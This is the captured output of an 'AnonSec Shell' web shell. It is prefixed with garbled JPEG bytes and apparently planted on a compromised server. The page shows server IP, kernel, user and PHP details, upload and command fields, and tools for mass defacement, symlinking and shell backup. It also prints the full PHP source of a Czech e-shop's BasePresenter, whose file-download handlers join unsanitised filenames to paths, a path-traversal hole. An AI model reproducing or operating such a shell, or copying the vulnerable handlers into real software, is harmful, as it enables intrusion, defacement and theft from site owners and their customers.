JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/frontModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/frontModule/presenters/BasePresenter.php
<?php

namespace App\frontModule\Presenters;

use App\RouterFactory;
use Elasticsearch\Client;
use Elasticsearch\ClientBuilder;
use Exception;
use h4kuna\Ares\Ares;
use h4kuna\Ares\Data;
use h4kuna\Ares\Exceptions\IdentificationNumberNotFoundException;
use Nette\Application\AbortException;
use Nette\Application\Responses\FileResponse;
use Nette\Caching\IStorage;
use Nette\Http\Session;
use Nette\Utils\ArrayHash;
use Nette\Utils\Arrays;
use Nette\Utils\Paginator;
use Promoteus\AdministratorRepository;
use Promoteus\BannerRepository;
use Promoteus\CategoryRepository;
use Promoteus\ClientRepository;
use Promoteus\Component\dataVariables;
use Promoteus\Component\ProductImageModernizer;
use Promoteus\Components\Elasticsearch\DI\ElasticsearchExtension;
use Promoteus\Forms\LoginForm;
use Promoteus\Forms\LostpassForm;
use Promoteus\Forms\RegistrationForm;
use Promoteus\ImagesTypeRepository;
use Promoteus\PageRepository;
use Promoteus\PostRepository;
use Promoteus\ProductImagesRepository;
use Promoteus\ProductPrintRepository;
use Promoteus\ProductRepository;
use Promoteus\RepositoryException;
use Promoteus\TranslatorRepository;
use Promoteus\colorsRepository;
use Promoteus\ProductMaterialRepository;
use Promoteus\ProductCapacityRepository;
use App\Model\ProductEsRepository;
use Promoteus\UserGroupAccessibilityRepository;
use Promoteus\UserGroupRepository;
use Promoteus\Forms\changePasswordForm;
use Promoteus\ClientIpAddressRepository;

/**
 * Base presenter for all promo presenters.
 *
 *
 */
abstract class BasePresenter extends \App\Presenters\BasePresenter
{
    /** @var ProductImageModernizer @inject */
    public $productImageModernizer;

    /** @var ClientRepository @inject */
    public $clientRepository;

    /** @var CategoryRepository @inject */
    public $categoryRepository;

    /** @var TranslatorRepository @inject */
    public $translatorRepository;

    /** @var BannerRepository @inject */
    public $bannerRepository;

    /** @var PostRepository @inject */
    public $postRepository;

    /** @var PageRepository @inject */
    public $pageRepository;

    /** @var ProductRepository @inject */
    public $productRepository;

    /** @var ImagesTypeRepository @inject */
    public $imageTypeRepository;

    /** @var Session @inject */
    public $session;

    public static $cachedMenu;
    /**
     * @var Client @inject
     */
    public $elastic;

    private $userData;

    /** @var colorsRepository @inject */
    public $colorRepository;

    /** @var ProductMaterialRepository @inject */
    public $materialRepository;

    /** @var ProductCapacityRepository @inject */
    public $capacityRepository;

    /** @var ProductPrintRepository @inject */
    public $printRepository;

    /** @var ProductEsRepository @inject */
    public $es;
    /** @var UserGroupAccessibilityRepository @inject */
    public $userGroupAccessibility;
    //public $isNeedCheckGdpr = true;

	/** @var UserGroupRepository @inject */
	public $userGroupRepository;
	public $userGroupData;

	/** @var ClientIpAddressRepository @inject */
	public $clientIpAddressRepository;

	private $submenuShowMoreLimit = 10;

    /**
     * @throws AbortException
     * @throws \Throwable
     */
    protected function startup()
    {
        parent::startup();
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $this->getHttpRequest()->getRemoteAddress();
		$clientsSameAddr = $this->clientIpAddressRepository->storedClientIds($ip);

        if ($this->user->isLoggedIn()) {
            $clientId = $this->user->id['client'];
            $storedIds = [];
            foreach($clientsSameAddr as $storedClientId){
                array_push($storedIds,$storedClientId['client_id']);
            }
            $this->clientIpAddressRepository->storeIp($clientId, $ip);
        }
        $this->template->isNeedGdpr = false;
        if ($this->user->isLoggedIn()) {
            $client = $this->clientRepository->getById($this->user->getId()['client']);
            if (!empty($client->deleted)) {
                $this->handleLogout();
            }

            $this->template->isNeedGdpr = true && !boolval($client->gdpr_accepted) && $this->action !== 'info';
            $this->userData = $this->user->identity->data["client"];
            $this->userGroupData = $this->userGroupRepository->getById($this->userData['user_group_id']);
			$this->template->userGroupData = $this->userGroupData;
        }

        BasePresenter::$cachedMenu = $this->getCachedMainMenu();
    }

    public function handleGdprOk()
    {
        $client = $this->clientRepository->getById($this->user->getId()['client']);
        $client->update(['gdpr_accepted' => true]);
        $this->redirect('this');

    }

    public function handleDownloadFile($filename)
    {
        if (!$this->getUser()->loggedIn) {
            $this->flashMessage('Musíte se nejdříve přihlásit.');
        }

        if (empty($filename)) {
            $this->flashMessage('Musíte zadat název souboru.');
        }

        $file = WWW_DIR . '/files/' . $filename;

        if (!file_exists($file)) {
            $this->flashMessage('Tento soubor neexistuje.');
        }

        $this->sendResponse(new FileResponse($file));
    }

    public function handleDownloadDocument($filename)
    {
        if (!$this->getUser()->loggedIn) {
            $this->flashMessage('Musíte se nejdříve přihlásit.');
        }

        if (empty($filename)) {
            $this->flashMessage('Musíte zadat název souboru.');
        }

        $file = WWW_DIR . '/documents/' . $filename;

        if (!file_exists($file)) {
            $this->flashMessage('Tento soubor neexistuje.');
        }

        $this->sendResponse(new FileResponse($file));
    }


    /**
     * @throws \Nette\Application\UI\InvalidLinkException
     * @throws \Throwable
     */
    public function beforeRender()
    {
        $this->session->start();
        parent::beforeRender();
        $ls = $this->languageShortLoader();

        $filter = $this->es->filterProducts($this->getHttpRequest(), $this->getPresenter()->getParameters());
        $search = $this->presenter->getParameter('search');
        $search = $search ? substr($search, 0, SEARCH_MAX_LENGTH) : $search;
        $this->template->search = $search;
        $this->template->availability = !empty($this->getParameter('availability')) ? $this->getParameter('availability') : $this->getHttpRequest()->getQuery('availability');
        $categories = $this->categoryRepository->getMainMenuByCategory($ls);
        $this->template->categories = $categories;
        $this->template->themeCategories = $this->categoryRepository->getThemeCategories($ls);
        $this->template->lists = [
            "category" => $this->categoryRepository->listCategories($ls),
            "theme-category" => $this->categoryRepository->listThemeCategories($ls),
            "color" => $this->colorRepository->listColors($ls),
            "material" => $this->materialRepository->listMaterials($ls),
            "capacity" => $this->capacityRepository->listCapacities($ls),
            "print" => $this->printRepository->listPrints($ls)
        ];
        //colors-----------------------------------------------------------------------------
        $colorKeys = [];
        $colors = [];
		if (isset($filter['facets']['aggregations']['colors_code'])) {
			foreach ($filter['facets']['aggregations']['colors_code']['buckets'] as $color) {
				$colorKeys[] = $color['key'];
			}
			$colors = $this->colorRepository->listPriority($colorKeys);
		}
        $this->template->colors = $colors;

        //materials-----------------------------------------------------------------------------
		$materialKeys = [];
		$materials = [];
		if (isset($filter['facets']['aggregations']['materials_code'])) {
			foreach ($filter['facets']['aggregations']['materials_code']['buckets'] as $material) {
				$materialKeys[] = $material['key'];
			}
			$materials = $this->materialRepository->listPriority($materialKeys);
		}
        $this->template->materials = $materials;

        //capacities-----------------------------------------------------------------------------
        $capacityKeys = [];
        $capacities = [];
		if (isset($filter['facets']['aggregations']['capacities_code'])) {
			foreach ($filter['facets']['aggregations']['capacities_code']['buckets'] as $capacity) {
				$capacityKeys[] = $capacity['key'];
			}
			$capacities = $this->capacityRepository->listPriority($capacityKeys);
		}
        $this->template->capacities = $capacities;

        //prints-----------------------------------------------------------------------------
		$printKeys = [];
		$prints = [];
		if (isset($filter['facets']['aggregations']['prints_code'])) {
			foreach ($filter['facets']['aggregations']['prints_code']['buckets'] as $print) {
				$printKeys[] = $print['key'];
			}
			$prints = $this->printRepository->listPriority($printKeys);
		}
        $this->template->prints = $prints;
        // -----------------------------------------------------------------------------------
        $url = $this->getHttpRequest()->getUrl();
        $cacheKey = $this->translatorRepository->getChecksum() . $url->host . $url->path;
        $this->template->urls = $this->cache->load($cacheKey, [
            $this,
            'createLinks'
        ]);

        $productsSession = $this->session->getSection('products')->products ?? [];
        $products = [];
        foreach ($productsSession as $code) {
            try {
                $products[$code] = $this->productRepository->getProduct($code);
            } catch (RepositoryException $e) {
                unset($this->session->getSection('products')->products[$code]);
                continue;
            }
        }
      //  $this->template->productCount = count($products);
        $this->template->page = trim($_SERVER['REQUEST_URI'], "/");
        $this->template->l = $this->languageDataLoader();
        $this->template->actualDomain = $this->domainLoader();
        $this->template->actualLang = $this->languageShortLoader();
        $this->template->actualLangId = $this->languageIdLoader();
        $this->template->currentUrl = $this->getRequest()->getParameter('url');
        $this->template->topMenu = $this->generateTopMenu();
        $this->template->referent = $this->getCachedReferent();
        $this->template->SEARCH_MAX_LENGTH = SEARCH_MAX_LENGTH;
        $this->template->stockMenu = $this->getCachedStockMenu();
        $this->template->mainMenu = $this->getCachedMainMenu();
        $this->template->themeMenu = $this->getCachedThemeMenu();
        $this->template->banners = $this->getCachedBanners();
        $this->template->news = $this->getNews();
        $this->template->products = $products;
        $this->template->getProductImages = function ($code, $limit) {
            return $this->productImageModernizer->getProductImages($code, $limit);
        };
        $this->template->action = $this->action;

        // set http baseurl
        $url = $this->getHttpRequest()->getUrl();
        $url->setScheme('https');
        $url->setPort(null); // Set port to null to remove it from the URL
        $baseUrl = rtrim($url->getBaseUrl(), '/');
        // Set the template variable
        $this->template->baseUrl = $baseUrl;

    }

    public function handleRedrawFilterForm()
    {

        $activeTab = $this->getHttpRequest()->getQuery('active', false);
        $this->template->active = $activeTab ? $activeTab : 'availability';
        $this->redrawControl('top_menu');
        if ($this->getHttpRequest()->getQuery('color') && $this->getHttpRequest()->getQuery('material') && $this->getHttpRequest()->getQuery('capacity') && $this->getHttpRequest()->getQuery('print')) {

        } elseif ($this->getHttpRequest()->getQuery('color') && $this->getHttpRequest()->getQuery('material') && $this->getHttpRequest()->getQuery('capacity')) {
            $this->handleRedrawPrintForm();

        } elseif ($this->getHttpRequest()->getQuery('color') && $this->getHttpRequest()->getQuery('material') && $this->getHttpRequest()->getQuery('print')) {
            $this->handleRedrawCapacityForm();
        } elseif ($this->getHttpRequest()->getQuery('color') && $this->getHttpRequest()->getQuery('print') && $this->getHttpRequest()->getQuery('capacity')) {
            $this->handleRedrawMaterialForm();
        } elseif ($this->getHttpRequest()->getQuery('material') && $this->getHttpRequest()->getQuery('capacity') && $this->getHttpRequest()->getQuery('print')) {
            $this->handleRedrawColorForm();
        } elseif ($this->getHttpRequest()->getQuery('color') && $this->getHttpRequest()->getQuery('capacity')) {
            $this->handleRedrawPrintForm();
            $this->handleRedrawMaterialForm();
        } elseif ($this->getHttpRequest()->getQuery('color') && $this->getHttpRequest()->getQuery('material')) {
            $this->handleRedrawPrintForm();
            $this->handleRedrawCapacityForm();
        } elseif ($this->getHttpRequest()->getQuery('color') && $this->getHttpRequest()->getQuery('print')) {
            $this->handleRedrawMaterialForm();
            $this->handleRedrawCapacityForm();
        } elseif ($this->getHttpRequest()->getQuery('material') && $this->getHttpRequest()->getQuery('capacity')) {
            $this->handleRedrawColorForm();
            $this->handleRedrawPrintForm();
        } elseif ($this->getHttpRequest()->getQuery('material') && $this->getHttpRequest()->getQuery('print')) {
            $this->handleRedrawColorForm();
            $this->handleRedrawCapacityForm();
        } elseif ($this->getHttpRequest()->getQuery('capacity') && $this->getHttpRequest()->getQuery('print')) {
            $this->handleRedrawColorForm();
            $this->handleRedrawMaterialForm();
        } elseif ($this->getHttpRequest()->getQuery('color')) {
            $this->handleRedrawMaterialForm();
            $this->handleRedrawCapacityForm();
            $this->handleRedrawPrintForm();
        } elseif ($this->getHttpRequest()->getQuery('material')) {
            $this->handleRedrawColorForm();
            $this->handleRedrawCapacityForm();
            $this->handleRedrawPrintForm();
        } elseif ($this->getHttpRequest()->getQuery('capacity')) {
            $this->handleRedrawMaterialForm();
            $this->handleRedrawColorForm();
            $this->handleRedrawPrintForm();
        } elseif ($this->getHttpRequest()->getQuery('print')) {
            $this->handleRedrawMaterialForm();
            $this->handleRedrawCapacityForm();
            $this->handleRedrawColorForm();
        } else {
            $this->redrawControl('filter_form');
        }

    }

    public function handleRedrawColorForm()
    {
        $activeTab = $this->getHttpRequest()->getQuery('active', false);
        $this->template->active = $activeTab ? $activeTab : 'availability';
        $this->redrawControl('color');
        $this->redrawControl('color_form');
    }

    public function handleRedrawMaterialForm()
    {
        $activeTab = $this->getHttpRequest()->getQuery('active', false);
        $this->template->active = $activeTab ? $activeTab : 'availability';
        $this->redrawControl('material');
        $this->redrawControl('material_form');
    }

    public function handleRedrawCapacityForm()
    {
        $activeTab = $this->getHttpRequest()->getQuery('active', false);
        $this->template->active = $activeTab ? $activeTab : 'availability';
        $this->redrawControl('capacity');
        $this->redrawControl('capacity_form');
    }

    public function handleRedrawPrintForm()
    {
        $activeTab = $this->getHttpRequest()->getQuery('active', false);
        $this->template->active = $activeTab ? $activeTab : 'availability';
        $this->redrawControl('print');
        $this->redrawControl('print_form');
    }

    public function createLinks()
    {
        $dependencies['expire'] = '+ 2 hours';
        $args = [];
        $langs = (['eng', 'ger', 'cze', 'svk']);

        $nameRouters = [];

        if ($cat = $this->getParameter('cat')) {
            $cat = $this->categoryRepository->getBy(['url_' . self::languageShortLoader() => $cat]);
            foreach ($langs as $lang) {
                $args[$lang]['cat'] = $cat["url_$lang"];
            }

            if ($subCat = $this->getParameter('sub_cat')) {
                $subCat = $this->categoryRepository->getBy(['url_' . self::languageShortLoader() => $subCat]);
                foreach ($langs as $lang) {
                    $args[$lang]['sub_cat'] = $subCat ["url_$lang"];
                }
            }
        }

        if ($title = $this->getParameter('title')) {
            $title = $this->postRepository->getBy(['url_' . self::languageShortLoader() => $title]);
            foreach ($langs as $lang) {
                $args[$lang]['title'] = $title["active_$lang"] ? $title["url_$lang"] : '';
            }
        }

        $url = $this->getParameter('url');
        if ($url && in_array($url, Arrays::flatten(RouterFactory::usbFlashDrives))) {
            foreach (RouterFactory::usbFlashDrives as $lang => $url) {
                $args[$lang] = '/' . array_keys($url)[0] . '/' . array_values($url)[0];
            }
            return $args;
        }

        $url = $this->getParameter('url');
        if ($this->action === 'info' && $url) {
            $page = $this->pageRepository->getBy(['url_' . self::getLanguageData() => $url]);
            foreach ($langs as $lang) {
                $args[$lang]['url'] = $page["url_$lang"];
            }
        }

        foreach ($langs as $lang) {
            $nameRouters[$lang] = $this->link('this', $args ? $args[$lang] : $this->getParameters());
        }

        if ($this->action == 'flashMessage') {
            foreach ($langs as $lang) {
                $nameRouters[$lang] = '';
            }
        }

        return $nameRouters;
        /*
        //posun aktualniho jazyka na 1 misto
        $langs = (['eng' => 1, 'ger' => 2, 'cze' => 3,]);
        $langs[BasePresenter::getLanguageData()] = 0;
        $langs = array_flip($langs);
        ksort($langs);
        ////////
        foreach ($langs as $lang) {
            foreach (RouterFactory::ROUTERS as $ROUTER_KEY => $ROUTER) {
                foreach ($this->translatorRepository->getRoutes([$ROUTER_KEY => $ROUTER], $lang) as $nameRouter) {
                    $nameRouters[$lang][$this->link($ROUTER[1], $this->getParameters())] = $nameRouter;
                }
            }
        }

        $return = $langs;
        foreach (array_shift($nameRouters) as $router => $key) {
            if ($router === $this->getHttpRequest()->getUrl()->getPath()) {
                $return[0] = $router;

                foreach ($nameRouters as $otherLang => $otherUrls) {
                    foreach ($otherUrls as $otherUrl => $otherLangKey) {
                        if ($otherLangKey === $key) {
                            $return[array_search($otherLang, $return)] = $otherUrl;
                        }
                    }
                }
                break;
            }
        }
        return array_combine($langs, $return);*/
    }

    public function renderDefault()
    {

//        $filter = $this->es->filterProducts($this->getHttpRequest(), $this->getPresenter()->getParameters());


        //$this->template->categories = $filter['facets']['aggregations']['categories_code']['buckets'];
    }

    /**
     * @param IStorage $storage
     */
    public function setCacheStorage(IStorage $storage)
    {
        //$this->cache = new Cache($storage, 'topMenu' . $this->languageIdLoader());TODO: WTF?
    }

    /**
     * @return array
     */
    public function getCachedMainMenu()
    {
		if ($this->user->isLoggedIn()) {
			return $this->cache->load('topMenu' . $this->languageShortLoader(), function (&$dependencies) {
				$dependencies['expire'] = '+ 2 hours';
				$data = $this->generateMainMenu(true);
				return $data;
			});
		} else {
			return $this->cache->load('topMenuGuest' . $this->languageShortLoader(), function (& $dependencies) {
				$dependencies['expire'] = '+ 2 hours';
				$data = $this->generateMainMenu(false);
				return $data;
			});
		}
    }

    /**
     * @return array
     */
    public function getCachedThemeMenu()
    {
        $data = $this->generateThemeMenu();
        return $data;
        /*
        return $this->cache->load('themeMenu' . $this->languageShortLoader(), function (& $dependencies) {
            $dependencies['expire'] = '+ 2 hours';
            $data = $this->generateThemeMenu();
            return $data;
        });
        */
    }

    private function getCachedStockMenu()
    {
        return $this->cache->load('stockMenu' . $this->languageShortLoader(), function (& $dependencies) {
            $dependencies['expire'] = '+ 2 hours';
            $data = $this->generateStockMenu();
            return $data;
        });
    }

    /**
     * @return bool|null
     */
    public function getCachedReferent()
    {
        try {
            return $this->getReferentDataByClientId($this->userData["id"] ?? null);
        } catch (\Throwable $e) {
        }
        return false;
    }

    /**
     * @return array
     */
    public function getCachedBanners()
    {
        return $this->cache->load('banners' . $this->languageIdLoader(), function (& $dependencies) {
            $dependencies['expire'] = '+ 10 minutes';
            $data = $this->getBannersByArray(BannerRepository::BANNERS_MAP, 5);
            return $data;
        });
    }

    /**
     * @param $id
     * @return null
     * @throws \Throwable
     */
    public function getReferentDataByClientId($id)
    {
        /** @var ClientRepository $clientRepository */
        $clientRepository = $this->context->getService('clientRepository');

        /** @var AdministratorRepository $administratorRepository */
        $administratorRepository = $this->context->getService('administratorRepository');
        if ($id != null) {
            $referent_id = $clientRepository->findBy(['id' => $id])->fetchPairs('id', 'referent')[$id];
            if ($referent_id == 0 || empty($referent_id)) {
                return FALSE;
            }
            $referent = $administratorRepository->getReferentData($referent_id, $this->languageShortLoader());
            if ($referent['is_on_holiday'] == 1) {
                $referent = $administratorRepository->getReferentData($referent["zastupce_id"], $this->languageShortLoader());
            }
        } else {
            $referent = null;
        }

        $lang = $this->languageDataLoader();
        $return = null;

        if (!isset($referent['email'])) {
            if ($lang == 'ger') {
                $return['email'] = "sales@promoteusgifts.de";
            } elseif ($lang == 'eng') {
                $return['email'] = "sales@promoteusgifts.com";
            } else {
                $return['email'] = "obchod@promoteus.cz";
            }
        } else {
            $return['email'] = $referent['email'];
        }
        if (!isset($referent['name'])) {
            $return['name'] = "Obchod Promoteus";
        } else {
            $return["name"] = $referent["name"];
        }
        if (isset($referent['telephone'])) {
            $return["telephone"] = $referent["telephone"];
        } else {
            $return['telephone'] = "+420222932315";
        }
        /** @var ImagesTypeRepository $imagesTypeRepository */
        $imagesTypeRepository = $this->getPresenter()->context->getService('imagesTypeRepository');
        $dir = $imagesTypeRepository->getById(ImagesTypeRepository::Salesman)->src;
        if ($referent['id'] && file_exists(WWW_DIR . "/$dir" . $referent['id'])) {
            $return["image"] = "/$dir" . $referent['id'];
            $return["id"] = $referent["id"];
        } else {
            $return["image"] = "/images/front/system/static/userimage.jpg";
            $return["id"] = $referent["id"];
        }

        return $return;
    }

    /**
     * @param $moduleId
     * @return mixed
     */
    public function getModuleStatusMessage($moduleId)
    {
        $shortenLang = $this->languageShortLoader();
        return $this->context->getService('moduleRepository')->getModuleStatusMessage($moduleId, $shortenLang);
    }

// tato funkce dává dohromady obě předchozí a z přijatého id produktu zobrazí navigaci

    /**
     * @param $product_id
     * @return string
     */
    public
    function showCatBreadCrumb($product_id)
    {
        return $this->categoryRepository->getCatRouteForProduct($product_id);
    }


    /**
     * @param $position
     * @return array
     */
    public function getBanners($position)
    {
        try {
            return $this->bannerRepository->getBanners($position, (["eng" => 'EN', "ger" => 'DE', 'cze' => 'CZ', 'svk' => 'SK'])[$this->languageShortLoader()]);
        } catch (RepositoryException $exception) {
            return [];
        }
    }

    /**
     * @param array $banners
     * @return array
     * @throws \Throwable
     */
    public function getBannersByArray(array $banners, $limit = null)
    {
        $return = $this->bannerRepository->getBannersByArray(array_keys($banners), $this->languageShortLoader(), $limit);
        $array = array();
        foreach ($return AS $key => $value) {
            foreach ($value AS $data) {
                $type = $this->imageTypeRepository->getBy(array("id" => $data["position"]));
                $array[$key][] = array(
                    "id" => $data["id"],
                    "image" => $type["src"] . $data["image"],
                    "image_small" => $type["src"] . $data["image_small"],
                    "href" => $data["href"],
                    "title" => $data["title"],
                    "new_window" => $data["new_window"]
                );
            }
        }

        if ($array > 0) {
            try {
                $this->cache->save("banners". $this->languageIdLoader(), $array);
            } catch (Exception $a) {
                throw new Exception;
            }
        }
        return $array;
    }

    /**
     * @return bool|string
     */
    public function languageIdLoader()
    {
        $url = ltrim($this->getHttpRequest()->getUrl()->host, 'new.');
        $url = ltrim($url, 'local.');
        $url = ltrim($url, 'test.');
        switch ($url) {
            CASE 'promoteusgifts.com':
                $language = 2;
                BREAK;
            CASE 'promoteusgifts.de':
                $language = 3;
                BREAK;
            CASE 'promoteusgifts.sk':
                $language = 4;
                BREAK;
            DEFAULT:
                $language = 1;
                BREAK;
        }
        return $language;
    }

    /**
     * @return array|bool
     * @throws \Nette\Application\UI\InvalidLinkException
     * @throws \Throwable
     */
    public function generateTopMenu()
    {
        $l = $this->languageDataLoader();

        $loggedIn = $this->user->isLoggedIn() ? '#loggedIn' : '';
        $menu[] = "<li><a href=" . $this->link("Homepage:newProducts") . $loggedIn ."><span>" . $l['novinky'] . "</span></a></li>";
        $menu[] = "<li><a href=" . $this->link("Pricelists:clean") . "><span>" . $l['ceniky-menu'] . "</span></a></li>";
        $menu[] = "<li><a href=" . $this->link("Homepage:stockProducts") . $loggedIn . " class='new__top-menu-special-item'><span>" . $l['zbozi-skladem'] . "</span></a></li>";

        return $menu;
    }


    /**
     * @return array
     * @throws \Throwable
     */
    public function generateMainMenu($is_logged = true)
    {
        $ls = $this->languageShortLoader();
        $l = $this->languageDataLoader();
        $menuQuery = $this->categoryRepository->getMainMenuByCategory($ls);
        $imagesTypeRepository = $this->getPresenter()->context->getService('imagesTypeRepository');
        $categoryImgSrc = $imagesTypeRepository->findAll()->fetchAssoc('id')[ImagesTypeRepository::CategoryImage]['src'];
        $stringFilterCat = ($this->translatorRepository->getBy(['key' => 'category'])->{\App\Presenters\BasePresenter::getLanguageData()}) ?: 'category';
        $stringFilterSubCat = ($this->translatorRepository->getBy(['key' => 'sub_category'])->{\App\Presenters\BasePresenter::getLanguageData()}) ?: 'sub_category';
        $stockMenu = $this->getCachedStockMenu();
        $stockMenuHtml = "";

        $loggedIn = $this->user->isLoggedIn() ? '#loggedIn' : '';

        if ($stockMenu) {
            $childCount = count($stockMenu);
            $stockMenuHtml .= "<ul class='menu-list__submenu ".($this->submenuShowMoreLimit < $childCount ? 'menu-list__child_more' : '')."'>";
            foreach ($stockMenu as $stockMenuItem) {
                $stockMenuHtml .= "
                    <li>
                        <a href='{$stockMenuItem['url']}{$loggedIn}'>
                            {$stockMenuItem['name']}
                        </a>
                    </li>
                ";
            }
            if($this->submenuShowMoreLimit < $childCount){
                $stockMenuItem[] = "<li class='child_show_more'><a onclick='child_show_more(this)' class='child_show_more-link'>".$l['vice']."</a></li>";
            }
            $stockMenuHtml .= "</ul>";
        }

        $menu = array();
        $menu[] = "<li>
                        <div class='menu-list__item-wrap'>
                            <a href=\"" . $this->link("Homepage:newProducts") . $loggedIn . "\" class='has-icon new-products'>
                            <span class='menu-list__icon'>
                                <img src='/images/front/system/static/category-icons/new.png' alt='" . $l['novinky'] . "'>
                            </span>" . $l['novinky'] . "</a>
                        </div>
                    </li>";
        $menu[] = "<li>
                        <div class='menu-list__item-wrap'>
                            <a href=\"" . $this->link("Homepage:stockProducts") . $loggedIn . "\" class='has-icon instock-products'>
                            <span class='menu-list__icon'>
                                <img src='/images/front/system/static/category-icons/stock.png' alt='" . $l['zbozi-skladem'] . "'>
                            </span>" . $l['zbozi-skladem'] . "</a>
                            ".($stockMenuHtml ? "<button type='button' class='menu-expand is-small js-menu-expand'></button>" : "")."
                        </div>
                        {$stockMenuHtml}
                    </li>";

        foreach ($menuQuery as $row) {
			if($row['id'] == 223){
				if (!$is_logged) {
					continue;
				}
			}

            $subMenuQuery = $this->categoryRepository->getMainSubMenuByCategory($ls, $row['id']);

            $categoryCounts = $this->getProductsFromCategory($row['id'], $ls);
            if ($categoryCounts['parent_count'] == 0) {
                continue;
            }

            $menu[] = "<li>
                        <div class='menu-list__item-wrap'>
                            <a href=\"/$stringFilterCat/" . $row['url'] . $loggedIn . "\" class='has-icon'>
                            <span class='menu-list__icon'>
                                <img src='".($categoryImgSrc.$row['image'] != '/images/front/categories/' ? $categoryImgSrc.$row['image'] : '/images/front/system/static/category-icons/flash-disk.svg')."' alt='" . $row['name'] . "'>
                            </span>" . $row['name'] . "</a>
                            ".(count($subMenuQuery) > 0 ? "<button type='button' class='menu-expand is-small js-menu-expand'></button>" : "")."
                        </div>";

            $childCount = count($subMenuQuery);
            if (0 < $childCount) {
                $menu[] = "<ul class='menu-list__submenu ".($this->submenuShowMoreLimit < $childCount ? 'menu-list__child_more' : '')."'>";
                foreach ($subMenuQuery as $subM) {
                    if (
                        !$subM['page_selected'] && (
                            0 === $this->categoryRepository->countProducts($subM['id'], true) ||
                            // empty($this->pageRepository->getPageText($subM['url'])) ||
                            $categoryCounts['sub_counts'][$subM['id']] == 0
                        )
                    ) {
                        continue;
                    }

                    $menu[] = "<li><a href=\"/$stringFilterSubCat/" . $row['url'] . "/" . $subM['url'] . $loggedIn . "\">" . $subM['name'] . "</a></li>";
                }
                if($this->submenuShowMoreLimit < $childCount){
                    $menu[] = "<li class='child_show_more'><a onclick='child_show_more(this)' class='child_show_more-link'>".$l['vice']."</a></li>";
                }
                $menu[] = "</ul>";
            }
            $menu[] = "</li>";
        }
        try {
            $a = $this->cache->save("mainMenu", $menu);
        } catch (Exception $a) {
        }

        return $menu;
    }

    /**
     * @throws AbortException
     */
    public function handleLogout()
    {
        $this->user->logout(true);
        $sessionSection = $this->session->getSection('pricelist');
        $sessionSection->step = 1;
        $sessionSection->pricelist = new dataVariables();
        $this->redirect('Homepage:');
    }

    /**
     * @param $id_category
     * @param $ls
     * @return array
     */ //Todo: driv existProducts($id_category,$ls)
    public function getProductsFromCategory($id_category, $ls)
    {
        $submenu_query = $this->categoryRepository->getSubCatForMainCat($id_category);
        $category_counts = [];
        $parent_category_count = 0;
        /** @var ProductRepository $productRepository */
        $productRepository = $this->context->getService('productRepository');
        foreach ($submenu_query as $row) {
            $products_query = $productRepository->getProductByCategory($ls, $row['id']);
            foreach ($products_query as $product) {
                $category_counts[$row['id']] = $product['pocet'];
                $parent_category_count += $product['pocet'];
            }
            if ($row['page_id_top'] != NULL OR $row['page_id_bot'] != NULL) {
                $category_counts[$row['id']] = 1;
            }
        }
        $category_counts['parent_count'] = $parent_category_count;
        $category_counts['sub_counts'] = $category_counts;
        return $category_counts;
    }


    /**
     * @return array|bool
     * @throws \Throwable
     */
    public function generateThemeMenu()
    {
        $data = false;
        $ls = $this->languageShortLoader();
        $l = $this->languageDataLoader();
        $menuQuery = $this->categoryRepository->getThemeCategories($ls);
        $imagesTypeRepository = $this->getPresenter()->context->getService('imagesTypeRepository');
